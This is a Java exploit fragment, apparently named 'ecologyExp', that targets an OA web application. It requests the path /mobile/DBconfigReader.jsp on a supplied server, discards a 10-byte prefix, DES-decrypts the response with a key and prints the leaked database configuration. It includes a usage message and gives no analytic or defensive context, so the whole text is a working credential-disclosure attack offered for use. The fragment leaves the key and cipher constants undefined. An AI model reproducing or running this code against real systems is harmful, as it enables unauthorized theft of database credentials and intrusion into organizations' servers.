public static void main(String[] args) throws Exception {
    if(args[0]!=null&& args[0].length() !=0){
        String url = args[0]+"/mobile/DBconfigReader.jsp";
        System.out.println(ReadConfig(url));
    }else{
        System.err.print("use: java -jar ecologyExp  http://127.0.0.1");
    }
}

private static String ReadConfig(String url) throws Exception {
    CloseableHttpClient httpClient = HttpClientBuilder.create().build();
    HttpGet httpGet = new HttpGet(url);
    CloseableHttpResponse response = httpClient.execute(httpGet);
    HttpEntity responseEntity = response.getEntity();

    byte[] res1 = EntityUtils.toByteArray(responseEntity);

    byte[] data = subBytes(res1,10,res1.length-10);

    byte [] finaldata =decrypt(data,key.getBytes());

    return (new String(finaldata));
}

private static byte[] decrypt(byte[] data, byte[] key) throws Exception {

    SecureRandom sr = new SecureRandom();
    DESKeySpec dks = new DESKeySpec(key);
    SecretKeyFactory keyFactory = SecretKeyFactory.getInstance(DES);
    SecretKey securekey = keyFactory.generateSecret(dks);
    Cipher cipher = Cipher.getInstance(DES);
    cipher.init(Cipher.DECRYPT_MODE, securekey, sr);

    return cipher.doFinal(data);
}

public static byte[] subBytes(byte[] src, int begin, int count) {
    byte[] bs = new byte[count];
    System.arraycopy(src, begin, bs, 0, count);
    return bs;
}